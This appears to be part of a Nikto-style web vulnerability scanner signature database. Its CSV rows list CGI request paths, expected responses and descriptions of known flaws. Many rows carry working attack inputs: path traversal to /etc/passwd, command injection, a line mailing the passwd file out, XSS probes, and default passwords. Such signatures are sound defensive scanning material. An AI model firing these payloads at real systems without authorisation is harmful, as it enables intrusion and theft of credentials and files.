"generic","@CGIDIRScalender_admin.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRScal_make.pl?p0=../../../../../../../../../../etc/passwd%00","root:","GET","This CGI allows attackers to read arbitrary files on the host."
"generic","@CGIDIRScampas?%0acat%0a/etc/passwd%0a","root:","GET","This CGI allows attackers to read arbitrary files on the server."
"generic","@CGIDIRScart.pl","200","GET","This might be interesting..."
"generic","@CGIDIRScart32.exe","200","GET","request cart32.exe/cart32clientlist"
"generic","@CGIDIRScartmanager.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRScbmc/forums.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSccvsblame.cgi?file=/index.html&root=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRScgi-lib.pl","200","GET","CGI Library. If retrieved check to see if it is outdated, it may have vuls"
"generic","@CGIDIRScgicso?query=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRScgicso?query=AAA","400 Required field missing: fingerhost","GET","This CGI allows attackers to execute remote commands."
"generic","@CGIDIRScgiforum.pl?thesection=../../../../../../../../../../etc/passwd%00","root:","GET","This CGI allows attackers to read arbitrary files on the server."
"generic","@CGIDIRScgimail.exe","200","GET","This might be interesting..."
"generic","@CGIDIRScgiwrap","200","GET","Some versions of cgiwrap allow anyone to execute commands remotely."," "
"generic","@CGIDIRScgiwrap/%3Cfont%20color=red%3E","<font color=red>","GET","cgiwrap allows HTML and possibly CSS injection. See http://archives.neohapsis.com/archives/bugtraq/2001-07/0499.html for details."
"generic","@CGIDIRScgiwrap/~@USERS","UID of script userid","GET","cgiwrap can be used to enumerate user accounts."
"generic","@CGIDIRScgiwrap/~JUNK(5)"," unable to find the user","GET","Based on error message, cgiwrap can likely be used to find valid user accounts."
"generic","@CGIDIRScgiwrap/~root","UID of script userid","GET","cgiwrap can be used to enumerate user accounts."
"generic","@CGIDIRSchange-your-password.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSclass/mysql.class","This program is free software","GET","Basilix allows its configuration files to be downloaded, which  may include the mysql auth credentials."
"generic","@CGIDIRSclassified.cgi","200","GET","Check Phrack 55 for info by RFP"
"generic","@CGIDIRSclassifieds","200","GET","This might be interesting..."
"generic","@CGIDIRSclassifieds.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSclassifieds/classifieds.cgi","200","GET","Mike's Classifieds CGI contained a bug which allowed arbitrary command execution (version 1.2), see http://freshmeat.net/projects/myclassifieds/"
"generic","@CGIDIRSclickcount.pl?view=test","200","GET","This might be interesting..."
"generic","@CGIDIRSclickresponder.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRScode.php","200","GET","This might be interesting..."
"generic","@CGIDIRScode.php3","200","GET","This might be interesting..."
"generic","@CGIDIRScommandit.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRScommerce.cgi?page=../../../../../../../../../../etc/passwd%00index.html","root:","GET","This CGI allows attackers to read arbitrary files on the server."
"generic","@CGIDIRScommon.php?f=0&ForumLang=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to read files on the host."
"generic","@CGIDIRScommon/listrec.pl?APP=qmh-news&TEMPLATE=;ls%20/etc|","resolv.conf","GET","Allows attacker to execute commands as http daemon. Upgrade or remove."
"generic","@CGIDIRScompatible.cgi","200","GET","This COWS (CGI Online Worldweb Shopping) script may give system information to attackers, and may be vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRSCount.cgi","200","GET","This may allow attackers to execute arbitrary commands on the server"
"generic","@CGIDIRScount.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRScounter-ord","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRScounterbanner","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRScounterbanner-ord","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRScounterfiglet-ord","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRScounterfiglet/nc/","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRScsChatRBox.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')","root:","GET","Multiple scripts from CGIscript.net have remote code execution vulnerabilities. Upgrade to the latest version."
"generic","@CGIDIRScsGuestBook.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')","root:","GET","Multiple scripts from CGIscript.net have remote code execution vulnerabilities. Upgrade to the latest version."
"generic","@CGIDIRScsh","200","GET","Shell found in CGI dir!"
"generic","@CGIDIRScsLiveSupport.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')","root:","GET","Multiple scripts from CGIscript.net have remote code execution vulnerabilities. Upgrade to the latest version."
"generic","@CGIDIRScsNewsPro.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')","root:","GET","Multiple scripts from CGIscript.net have remote code execution vulnerabilities. Upgrade to the latest version."
"generic","@CGIDIRScsSearch.cgi?command=savesetup&setup=`cat%20/etc/passwd`","root:","GET","csSearch (http://www.cgiscript.net/) has a major flaw which allows perl to be executed remotely. Upgrade to a version higher than 2.3. CAN-2002-0495."
"generic","@CGIDIRScstat.pl","200","GET","This might be interesting..."
"generic","@CGIDIRScvsblame.cgi?file=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRScvslog.cgi?file=*&rev=&root=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRScvslog.cgi?file=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRScvsquery.cgi?branch=<script>alert('Vulnerable')</script>&file=<script>alert(document.domain)</script>&date=<script>alert(document.domain)</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRScvsquery.cgi?module=<script>alert('Vulnerable')</script>&branch=&dir=&file=&who=<script>alert(document.domain)</script>&sortby=Date&hours=2&date=week","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRScvsqueryform.cgi?cvsroot=/cvsroot&module=<script>alert('Vulnerable')</script>&branch=HEAD","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRSc_download.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSdasp/fm_shell.asp","200","GET","This might be interesting..."
"generic","@CGIDIRSday5datacopier.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSday5datanotifier.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSdb2www/library/document.d2w/show","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSdb4web_c/dbdirname//etc/passwd","root:","GET","The passwd file was retrieved by using the db4web executable."
"generic","@CGIDIRSdbman/db.cgi?db=no-db","200","GET","This CGI allows remote attackers to view system information."
"generic","@CGIDIRSdb_manager.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSDCFORMS98.CGI","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSdcforum.cgi?az=list&forum=../../../../../../../../../../etc/passwd%00","root:","GET","This install of DCForum allows attackers to read arbitrary files on the host."
"generic","@CGIDIRSdcshop/auth_data/auth_user_file.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
"generic","@CGIDIRSDCShop/auth_data/auth_user_file.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
"generic","@CGIDIRSdcshop/orders/orders.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
"generic","@CGIDIRSDCShop/orders/orders.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
"generic","@CGIDIRSdfire.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSdiagnose.cgi","200","GET","This COWS (CGI Online Worldweb Shopping) script may give system information to attackers, and may be vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRSdig.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSdirectorypro.cgi?want=showcat&show=../../../../../../../../../../etc/passwd%00","root:","GET","This CGI allows attackers to read arbitrary files on the server."
"generic","@CGIDIRSdisplayTC.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSdnewsweb","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSdonothing","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSdownload.cgi","200","GET","v1 by Matt Wright; check info in Phrack 55 by RFP"
"generic","@CGIDIRSdumpenv.pl","200","GET","This CGI gives a lot of information to attackers."
"generic","@CGIDIRSecho.bat","200","GET","This CGI may allow attackers to execute remote commands."
"generic","@CGIDIRSecho.bat?&dir+c:\",","200","GET","This batch file may allow attackers to execute remote commands."
"generic","@CGIDIRSedit.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSempower?DB=whateverwhatever","db name whateverwhatever of directory /","GET","This CGI allows attackers to learn the full system path to your web directory."
"generic","@CGIDIRSemu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","root:","GET","EmuMail allows any file to be retrieved from the remote system."
"generic","@CGIDIRSemumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","root:","GET","EmuMail allows any file to be retrieved from the remote system."
"generic","@CGIDIRSemumail/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","root:","GET","EmuMail allows any file to be retrieved from the remote system."
"generic","@CGIDIRSenter.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSenviron.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSenviron.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSenviron.pl?param1=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRSerba/start/%3Cscript%3Ealert('Vulnerable');%3C/script%3E","<script>alert('Vulnerable')</script>","GET","Aestiva HTML/OS is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRSeshop.pl/seite=;cat%20eshop.pl|","\/perl","GET","This CGI allows attackers to execute commands on the remote server. CAN-2001-1014."
"generic","@CGIDIRSex-logger.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSexcite","200","GET","This might be interesting..."
"generic","@CGIDIRSexcite;IFS=\"$\";/bin/cat /etc/passwd|mail test@test.com","200","GET","Excite software is vulnerable to password file theft remotely."
"generic","@CGIDIRSezadmin.cgi","200","GET","Some versions of this CGI are vulnerable to a buffer overflow."
"generic","@CGIDIRSezboard.cgi","200","GET","Some versions of this CGI are vulnerable to a buffer overflow."
"generic","@CGIDIRSezman.cgi","200","GET","Some versions of this CGI are vulnerable to a buffer overflow."
"generic","@CGIDIRSezshopper/loadpage.cgi?user_id=1&file=|cat%20/etc/passwd|","200","GET","EZShopper loadpage CGI read arbitrary files"
"generic","@CGIDIRSezshopper/search.cgi?user_id=id&database=dbase1.exm&template=../../../../../../../etc/passwd&distinct=1","200","GET","EZShopper search CGI read arbitrary files"
"generic","@CGIDIRSfaqmanager.cgi?toc=/etc/passwd%00","root:","GET","FAQmanager allows arbitrary files to be read on the host. Upgrade to latest version: http://www.fourteenminutes.com/code/faqmanager/"
"generic","@CGIDIRSfaxsurvey?cat%20/etc/passwd","root:","GET","This CGI allows attackers to execute commands and read files remotely."
"generic","@CGIDIRSfilemail","200","GET","This might be interesting..."
"generic","@CGIDIRSfilemail.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSFileSeek.cgi?head=&foot=....//....//....//....//....//....//....//etc/passwd","root:","GET","FileSeek allows arbitrary files to be retrieved. Update to the latest version from cgi-perl.com"," "
"generic","@CGIDIRSFileSeek.cgi?head=&foot=;cat%20/etc/passwd","root:","GET","FileSeek allows arbitrary command execution. Update to the latest version from cgi-perl.com"," "
"generic","@CGIDIRSFileSeek.cgi?head=....//....//....//....//....//....//....//etc/passwd&foot=","root:","GET","FileSeek allows arbitrary files to be retrieved. Update to the latest version from cgi-perl.com"," "
"generic","@CGIDIRSFileSeek.cgi?head=;cat%20/etc/passwd|&foot=","root:","GET","FileSeek allows arbitrary command execution. Update to the latest version from cgi-perl.com"," "
"generic","@CGIDIRSFileSeek2.cgi?head=&foot=....//....//....//....//....//....//....//etc/passwd","root:","GET","FileSeek allows arbitrary files to be retrieved. Update to the latest version from cgi-perl.com"," "
"generic","@CGIDIRSFileSeek2.cgi?head=&foot=;cat%20/etc/passwd","root:","GET","FileSeek allows arbitrary command execution. Update to the latest version from cgi-perl.com"," "
"generic","@CGIDIRSFileSeek2.cgi?head=....//....//....//....//....//....//....//etc/passwd&foot=","root:","GET","FileSeek allows arbitrary files to be retrieved. Update to the latest version from cgi-perl.com"," "
"generic","@CGIDIRSFileSeek2.cgi?head=;cat%20/etc/passwd|&foot=","root:","GET","FileSeek allows arbitrary command execution. Update to the latest version from cgi-perl.com"," "
"generic","@CGIDIRSfinger","200","GET","finger other users, may be other commands?"
"generic","@CGIDIRSfinger.cgi","200","GET","finger other users, may be other commands?"
"generic","@CGIDIRSfinger.pl","200","GET","finger other users, may be other commands?"
"generic","@CGIDIRSflexform","200","GET","Check Phrack 55 for info by RFP, allows to append info to writable files."
"generic","@CGIDIRSflexform.cgi","200","GET","Check Phrack 55 for info by RFP, allows to append info to writable files."
"generic","@CGIDIRSfom.cgi?file=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Faq-O-Matic is vulnerable to Cross Site Scripting (XSS).  Upgrade to the latest from http://sourceforge.net/projects/faqomatic. CA-2000-02."
"generic","@CGIDIRSfom/fom.cgi?cmd=<script>alert('Vulnerable')</script>&file=1&keywords=vulnerable","<script>alert('Vulnerable')</script>","GET","Faq-O-Matic is vulnerable to cross site scripting (XSS) CA-2000-02. Check for updates here http://faqomatic.sourceforge.net/fom-serve/cache/1.html"
"generic","@CGIDIRSFormHandler.cgi?realname=aaa&email=aaa&reply_message_template=%2Fetc%2Fpasswd&reply_message_from=sq%40example.com&redirect=http%3A%2F%2Fwww.example.com&recipient=sq%40example.com","root:","GET","This CGI allows attackers to read files and execute commands remotely."
"generic","@CGIDIRSformmail","Version ","GET","The remote CGI reveals its version number, which may aid attackers in finding vulnerabilities in the script."
"generic","@CGIDIRSformmail.cgi","Version ","GET","The remote CGI reveals its version number, which may aid attackers in finding vulnerabilities in the script."
"generic","@CGIDIRSFormMail.cgi?<script>alert(\"Vulnerable\");</script>","<script>alert(\"Vulnerable\");</script>","GET","FormMail.cgi allows Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRSformmail.cgi?recipient=root@localhost%0Acat%20/etc/passwd&email=joeuser@localhost&subject=test","root:","GET","This CGI allows attackers to retrieve arbitrary files from the server."
"generic","@CGIDIRSformmail.pl","200","GET","Many versions of FormMail have remote vulnerabilities, including file access, information disclosure and email abuse. FormMail access should be restricted as much as possible or a more secure solution found."
"generic","@CGIDIRSformmail.pl","Version ","GET","The remote CGI reveals its version number, which may aid attackers in finding vulnerabilities in the script."
"generic","@CGIDIRSformmail.pl?recipient=root@localhost%0Acat%20/etc/passwd&email=joeuser@localhost&subject=test","root:","GET","This CGI allows attackers to retrieve arbitrary files from the server."
"generic","@CGIDIRSformmail?recipient=root@localhost%0Acat%20/etc/passwd&email=joeuser@localhost&subject=test","root:","GET","This CGI allows attackers to retrieve arbitrary files from the server."
"generic","@CGIDIRSftp.pl","200","GET","This might be interesting... is file transfer allowed?"
"generic","@CGIDIRSgbook/gbook.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSgenerate.cgi?content=../../../../../../../../../../etc/passwd%00board=board_1","root:","GET","This CGI from SIX webboard allows attackers read arbitrary files on the host."
"generic","@CGIDIRSgenerate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1","[windows]","GET","This CGI from SIX webboard allows attackers read arbitrary files on the host."
"generic","@CGIDIRSgenerate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1","[fonts]","GET","This CGI from SIX webboard allows attackers read arbitrary files on the host."
"generic","@CGIDIRSget32.exe","200","GET","This can allow attackers to execute arbitrary commands remotely."
"generic","@CGIDIRSgetdoc.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSgettransbitmap","200","GET","Sun Answerbook2 is vulnerable to a buffer overflow in the gettransbitmap CGI. All default CGIs should be disabled or removed, and Answerbook2 should be disabled if not being used."
"generic","@CGIDIRSgH.cgi","200","GET","web backdoor by gH"
"generic","@CGIDIRSglimpse","200","GET","This might be interesting..."
"generic","@CGIDIRSgm-authors.cgi","200","GET","GreyMatter 'password' file, that controls who can post. This contains login and password information and is installed mode 666 by default. See http://www.attrition.org/~jericho/works/security/greymatter.html for more info."
"generic","@CGIDIRSgm-cplog.cgi","200","GET","GreyMatter log file defaults to mode 666 and contains login and passwords used to update the GM site. See http://www.attrition.org/~jericho/works/security/greymatter.html for more info."
"generic","@CGIDIRSgm.cgi","200","GET","GreyMatter blogger may reveal user ids/passwords through a gmrightclick-######.reg files (# are numbers), possibly in /archive or other archive location. See http://www.attrition.org/~jericho/works/security/greymatter.html for more info."
"generic","@CGIDIRSguestbook.cgi","200","GET","May allow attackers to execute commands as the web daemon."
"generic","@CGIDIRSguestbook.cgi?user=cpanel&template=|/bin/cat%20/etc/passwd|","root:","GET","cpanel's guestbook.cgi allows any command to be executed on the remote server. Remove /usr/local/cpanel/cgi-sys/guestbook.cgi or update to a new version of cpanel."
"generic","@CGIDIRSguestbook.pl","200","GET","May allow attackers to execute commands as the web daemon."
"generic","@CGIDIRSguestbook/passwd","200","GET","GuestBook r4 from lasource.r2.ru stores the admin password in a plain text file."
"generic","@CGIDIRShandler.cgi","200","GET","Variation of Irix Handler? Has been seen from other CGI scanners."
"generic","@CGIDIRShitview.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRShpnst.exe?c=p+i=SrvSystemInfo.html","200","GET","HP Instant TopTools may be vulnerable to a DoS by requesting hpnst.exe?c=p+i=hpnst.exe multiple times."
"generic","@CGIDIRShsx.cgi?show=../../../../../../../../../../../etc/passwd%00","root:","GET","This CGI contains a well known vul that allows attackers to read any system file."
"generic","@CGIDIRShtgrep?file=index.html&hdr=/etc/passwd","root:","GET","This CGI contains a well known vul that allows attackers to read any system file."
"generic","@CGIDIRShtimage.exe","200","GET","This CGI can give an attacker a lot of information."
"generic","@CGIDIRShtmlscript?../../../../../../../../../../etc/passwd","root:","GET","This CGI contains a well known vul that allows attackers to read any system file."
"generic","@CGIDIRShtsearch.cgi?words=%22%3E%3Cscript%3Ealert%'Vulnerable'%29%3B%3C%2Fscript%3E","<script>alert('Vulnerable')</script>","GET","htdig is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRShtsearch?-c/nonexistant","Unable to read configuration file '/nonexistant'","GET","The ht::/Dig install may let an attacker force ht://Dig to read arbitrary config files for itself."
"generic","@CGIDIRShtsearch?config=foofighter&restrict=&exclude=&method=and&format=builtin-long&sort=score&words=","ht:\/\/Dig","GET","The ht://Dig install may reveal the path to its configuration files, revealing sensitive information about the server."
"generic","@CGIDIRShtsearch?exclude=%60/etc/passwd%60","root:","GET","This CGI contains a well known vul that allows attackers to read any system file."
"generic","@CGIDIRSibill.pm","200","GET","iBill.pm is installed. This may allow brute forcing of passwords."
"generic","@CGIDIRSicat","200","GET","Multiple versions of icat allow attackers to read arbitrary files. Make sure the latest version is running."
"generic","@CGIDIRSikonboard/help.cgi?","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSinc/sendmail.inc","This program is free software","GET","Basilix allows its configuration files to be downloaded, which  may include the mysql auth credentials."
"generic","@CGIDIRSindex.pl","Powered By WebGUI 4.5.0","GET","WebGUI version 4.5.0 according to the documentation, a user could view collateral data of a wobject if the URL is known. http://freshmeat.net/users/rizen/."
"generic","@CGIDIRSindex.pl","Powered By WebGUI 4.6.8","GET","WebGUI version 4.6.8, according to the documentation, may allow arbitray code execution. http://freshmeat.net/users/rizen/."
"generic","@CGIDIRSindex.pl","Powered By WebGUI 4.6.9","GET","WebGUI version 4.6.9 has a 'very obsure and unlikely security hole' according to the documentation. http://freshmeat.net/users/rizen/."
"generic","@CGIDIRSinfo2www '(../../../../../../../bin/mail root </etc/passwd>","root:","GET","This CGI allows attackers to execute commands. passwd file may have been mailed to root."
"generic","@CGIDIRSinfo2www","200","GET","This CGI allows attackers to execute commands."
"generic","@CGIDIRSinfosrch.cgi","200","GET","This CGI allows attackers to execute commands."
"generic","@CGIDIRSion-p.exe?page=c:\winnt\repair\sam","200","GET","Ion-P allows remote file retrieval."
"generic","@CGIDIRSion-p?page=../../../../../etc/passwd","root:","GET","Ion-P allows remote file retrieval."
"generic","@CGIDIRSjj","200","GET","This might be interesting..."
"generic","@CGIDIRSjournal.cgi?folder=journal.cgi%00","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSksh","200","GET","Shell found in CGI dir!"
"generic","@CGIDIRSlastlines.cgi?process","root:","POST","This CGI lets attackers read arbitrary files and/or execute commands.","num_lines=1000&log_location=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
"generic","@CGIDIRSlistrec.pl","200","GET","This CGI allows attackers to execute commands on the host."
"generic","@CGIDIRSloadpage.cgi?user_id=1&file=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to read arbitrary files on the host."
"generic","@CGIDIRSloadpage.cgi?user_id=1&file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini","[windows]","GET","This CGI allows attackers to read arbitrary files on the host."
"generic","@CGIDIRSlog-reader.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSlog/","200","GET","This might be interesting..."
"generic","@CGIDIRSlog/nether-log.pl?checkit","200","GET","Default Pass: nethernet-rules"
"generic","@CGIDIRSlogin.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSlogin.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSlogin.pl?course_id=\">&lt;SCRIPT&gt;alert('Vulnerable')&lt;/SCRIPT&gt;","<script>alert('Vulnerable')</script>","GET","BlackBoard 5 from BlackBoard.com is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRSlogit.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSlogs.pl","200","GET","May be interesting..."
"generic","@CGIDIRSlogs/","200","GET","This might be interesting..."
"generic","@CGIDIRSlogs/access_log","200","GET","Just found this log..."
"generic","@CGIDIRSlookwho.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSLWGate","200","GET","Check Phrack 55 for info by RFP"
"generic","@CGIDIRSlwgate","200","GET","Check Phrack 55 for info by RFP"
"generic","@CGIDIRSLWGate.cgi","200","GET","Check Phrack 55 for info by RFP, http://www.phrack.com/show.php?p=55&a=7"
"generic","@CGIDIRSlwgate.cgi","200","GET","Check Phrack 55 for info by RFP, http://www.phrack.com/show.php?p=55&a=7"
"generic","@CGIDIRSmail/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","root:","GET","EmuMail allows any file to be retrieved from the remote system."
"generic","@CGIDIRSmaillist.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSmaillist.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSmailnews.cgi","200","GET","some versions allow attacker to execute commands as http daemon. Upgrade or remove."
"generic","@CGIDIRSmain.cgi?board=FREE_BOARD&command=down_load&filename=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to read arbitrary files remotely."
"generic","@CGIDIRSmajordomo.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSman.sh","200","GET","This might be interesting..."
"generic","@CGIDIRSmeta.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSmgrqcgi","200","GET","This CGI from Magic Enterprise 8.30-5 and earlier are vulnerable to multiple buffer overflows. Upgrade to 9.x."
"generic","@CGIDIRSminimal.exe","200","GET","This might be interesting..."
"generic","@CGIDIRSmini_logger.cgi","200","GET","Default password: guest"
"generic","@CGIDIRSmkilog.exe","200","GET","This CGI can give an attacker a lot of information."
"generic","@CGIDIRSmkplog.exe","200","GET","This CGI can give an attacker a lot of information."
"generic","@CGIDIRSmmstdod.cgi","200","GET","May allow attacker to execute remote commands. Upgrade to version 3.0.26 or higher."
"generic","@CGIDIRSmrtg.cfg?cfg=../../../../../../../../etc/passwd","root:","GET","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version."
"generic","@CGIDIRSmrtg.cgi?cfg=../../../../../../../../etc/passwd","root:","GET","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version."
"generic","@CGIDIRSmrtg.cgi?cfg=blah","Cannot find the given config file","GET","Multi Router Traffic Grapher (mrtg.org) reveals system paths when an invalid config file is specified. Software should be upgraded to the latest version."
"generic","@CGIDIRSMsmMask.exe?mask=/junk334","Failed to read the maskfile","GET","MondoSearch may allow any file to be retrieved using the 'mask' variable."
"generic","@CGIDIRSMsmMask.exe?mask=/junk334","MondoSearch for Web Sites 4.0","GET","MondoSearch may allow any file to be retrieved using the 'mask' variable."
"generic","@CGIDIRSMsmMask.exe?mask=/junk334","MondoSearch for Web Sites 4.1","GET","MondoSearch may allow any file to be retrieved using the 'mask' variable."
"generic","@CGIDIRSMsmMask.exe?mask=/junk334","MondoSearch for Web Sites 4.2","GET","MondoSearch may allow any file to be retrieved using the 'mask' variable."
"generic","@CGIDIRSMsmMask.exe?mask=/junk334","MondoSearch for Web Sites 4.3","GET","MondoSearch may allow any file to be retrieved using the 'mask' variable."
"generic","@CGIDIRSmultihtml.pl?multi=/etc/passwd%00html","root:","GET","This CGI allows attackers to read arbitrary files on the host. May also allow a shell to be spawned using http://www.packetstormsecurity.org/0009-exploits/multihtml.c"
"generic","@CGIDIRSmyguestbook.cgi?action=view","200","GET","myGuestBook 1.0 may be vulnerable to Cross Site Scripting (XSS) in posted contents. Upgrade to the latest version from http://www.levcgi.com/.  CA-2000-02."
"generic","@CGIDIRSncommerce3/ExecMacro/macro.d2w/%0a%0a","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSncommerce3/ExecMacro/macro.d2w/NOEXISTINGHTMLBLOCK","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSnetauth.cgi?cmd=show&page=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to view arbitrary files on the server."
"generic","@CGIDIRSnetpad.cgi","200","GET","netpad.cgi may be an indication of a malicious user on the system, as it allows web access to the file system. It may also have remote vulnerabilities itself. This should be removed or protected."
"generic","@CGIDIRSnewsdesk.cgi?t=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to view arbitrary files on the server."
"generic","@CGIDIRSnlog-smb.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSnlog-smb.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSnph-emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","root:","GET","EmuMail allows any file to be retrieved from the remote system."
"generic","@CGIDIRSnph-maillist.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSnph-publish","200","GET","This might be interesting..."
"generic","@CGIDIRSnph-publish.cgi","200","GET","This CGI may allow attackers to execute arbitrary commands on the server."
"generic","@CGIDIRSnph-test-cgi","200","GET","This CGI lets attackers get a directory listing of the CGI directory."
"generic","@CGIDIRSntitar.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSopendir.php?/etc/passwd","root:","GET","This CGI allows attackers to read any file on the web server."
"generic","@CGIDIRSorders/orders.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
"generic","@CGIDIRSpagelog.cgi","200","GET","Some versions of this allow you to create system files. Request 'pagelog.cgi?name=../../../../.././tmp/filename' to try."
"generic","@CGIDIRSpals-cgi?palsAction=restart&documentName=/etc/passwd","root:","GET","This CGI allows remote users to read system files."
"generic","@CGIDIRSpass","200","GET","This could be interesting..."
"generic","@CGIDIRSpasswd","200","GET","This could be interesting..."
"generic","@CGIDIRSpasswd.txt","200","GET","This could be interesting..."
"generic","@CGIDIRSpassword","200","GET","This could be interesting..."
"generic","@CGIDIRSpbcgi.cgi?name=Joe%Camel&email=%3CSCRIPT%3Ealert%28%27Vulnerable%27%29%3B%3C%2FSCRIPT%3E","<script>alert('Vulnerable')</script>","GET","Lil'HTTP Server (Summit Computer Networks) CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRSperl","200","GET","Shell/interpreter found"
"generic","@CGIDIRSperl.exe","200","GET","Can run PERL code"
"generic","@CGIDIRSperl.exe?-v","200","GET","perl is installed in the CGI directory. This essentially gives attackers a system shell. Remove perl.exe from the CGI dir."
"generic","@CGIDIRSperl?-v","200","GET","perl is installed in the CGI directory. This essentially gives attackers a system shell. Remove perl from the CGI dir."
